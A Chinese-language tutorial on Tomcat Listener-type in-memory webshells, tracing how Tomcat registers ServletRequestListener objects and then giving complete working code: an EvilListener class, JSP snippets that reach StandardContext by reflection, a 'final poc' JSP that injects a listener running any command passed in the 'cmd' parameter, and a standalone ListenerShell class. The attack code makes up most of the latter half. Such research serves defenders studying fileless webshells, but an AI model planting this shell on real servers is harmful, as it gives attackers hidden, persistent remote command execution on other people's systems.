Listener 是监听 Application、Session、Request 三大对象创建/销毁及属性变化的组件,触发时自动执行代码,常用于统计在线人数、访问量等。
三类域监听器:
ServletContextListener:监听应用启动和关闭。
HttpSessionListener:监听会话创建和销毁。
ServletRequestListener:监听每次 HTTP 请求的创建和销毁。
关键点:ServletRequestListener在每次访问任意资源时都会触发 requestInitialized()方法,因此非常适合用作内存马——动态注册一个 ServletRequestListener,即可在每次请求时执行恶意代码,无需文件落地。
流程分析
环境搭建
Maven 3.6.3
Tomcat 8.5.81
Listener 的业务对象要实现 EventListener 这个接口(java.util.EventListene)
实现内存马的话就需要找一个每个请求都会触发的 Listener,我们去寻找的时候一定是优先找 Servlet 开头的类。ServletRequestListener ,因为根据名字以及其中requestInitialized() 方法感觉我们的发送的每个请求都会触发这个监控器。
javax.servlet.ServletRequestListener

简单写个案例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.util.EventListener; @WebListener("/listenerTest") public class ListenerTest implements ServletRequestListener { public ListenerTest(){ } @Override public void requestDestroyed(ServletRequestEvent sre) { } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener 被调用"); } }
|
web.xml
1 2 3
| <listener> <listener-class>Listener.ListenerTest</listener-class> </listener>
|

Listener 流程分析
应用程序启动时
在configureContext() 方法在这个地方读取了 web.xml里面的Listener ,在此处打断点
org.apache.catalina.startup.ContextConfig#configureContext
获取到 web.xml

下一步应该是走到 addApplicationListener() ,读取完配置文件,加载 Listener
应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。
org.apache.catalina.core.StandardContext#listenerStart

listenerStart() 方法中有这么一个语句,是把之前的 Listener 存到这里面
1
| String listeners[] = findApplicationListeners();
|
http请求触发
断点位置如图


我们先进到 getApplicationEventListeners() 方法里面

getApplicationEventListeners() 方法做了这么一件事:获取一个 Listener 数组

applicationEventListenersList 是什么,可以看到 Listener 实际上是存储在 applicationEventListenersList 属性中的

并且我们可以通过 StandardContext#addApplicationEventListener() 方法来添加 Listener
1 2 3
| public void addApplicationEventListener(Object listener) { applicationEventListenersList.add(listener); }
|
之后逻辑和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。
在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的 requestInitialized() 方法去。

在应用开始前:先读ContextConfig读取 web.xml→ listenerStart()实例化并分类存储 → 运行时:每次请求触发 ServletRequestListener.requestInitialized()。
内存马只需通过反射获取 StandardContext,调用 addApplicationEventListener()即可动态注入。
Listner 型内存马 EXP 编写
- 核心思路:利用
ServletRequestListener的 requestInitialized()方法,在每次请求时自动执行恶意代码(如命令执行)。
- 实现步骤:
- 获取
**StandardContext**对象(与 Filter 型相同,通过反射穿透门面模式)。
- 创建恶意 Listener 实例,实现
ServletRequestListener接口,将恶意代码写在 requestInitialized()中。
- 调用
**StandardContext.addApplicationEventListener(listener)** 动态注册该 Listener。
- 关键点:Listener 的注册机制与 Filter 类似,但无需配置 URL 映射,因为
ServletRequestListener会自动监听所有请求,比 Filter 更简洁。
- 执行顺序:注册后,后续每次请求都会先触发恶意 Listener 的
requestInitialized(),再进入 Filter 链和 Servlet,从而实现无文件 Webshell。
一句话总结:获取 StandardContext → 创建恶意 Listener → 调用 addApplicationEventListener()注册,即可在每次请求时自动执行恶意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public class EvilListener implements ServletRequestListener {
public EvilListener() { }
public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName( "org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null) { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i = inputStream.read(bytes)) != -1) { response.getWriter().write(new String(bytes, 0, i)); response.getWriter().write("\r\n"); } } } catch (Exception e) { e.printStackTrace(); } }
public void requestDestroyed(ServletRequestEvent sre) { } }
|
接着是获取 StandardContext 的代码,并且添加 Listener
在 org.apache.catalina.core.StandardHostValve#invoke 中,可以看到其通过request对象来获取 StandardContext 类

JSP内置了request对象,可以通过这个方式来获取
1 2 3 4 5 6
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
|
最后添加监听器
1 2 3 4
| <% Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
|
最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%! class ListenerMemShell implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse(); if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre) { } } %> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerMemShell()); standardContext.setApplicationEventListeners(arrayList.toArray()); %>
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package Listener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Field; @WebListener public class ListenerShell implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest req = (HttpServletRequest)servletRequestEvent.getServletRequest(); HttpServletResponse resp = this.getResponseFromRequest(req); String cmd = req.getParameter("cmd"); try { String result = this.CommandExec(cmd); resp.getWriter().println(result); System.out.println("部署完成"); } catch (Exception e) { } } public String CommandExec(String cmd) throws Exception { Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(cmd); InputStream stderr = proc.getInputStream(); InputStreamReader isr = new InputStreamReader(stderr); BufferedReader br = new BufferedReader(isr); String line = null; StringBuffer sb = new StringBuffer(); while ((line = br.readLine()) != null) { sb.append(line + "\n"); } return sb.toString(); } public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) { HttpServletResponse var2 = null; try { Field var3 = var1.getClass().getDeclaredField("response"); var3.setAccessible(true); var2 = (HttpServletResponse)var3.get(var1); } catch (Exception var8) { try { Field var4 = var1.getClass().getDeclaredField("request"); var4.setAccessible(true); Object var5 = var4.get(var1); Field var6 = var5.getClass().getDeclaredField("response"); var6.setAccessible(true); var2 = (HttpServletResponse)var6.get(var5); } catch (Exception var7) { } } return var2; } }
|
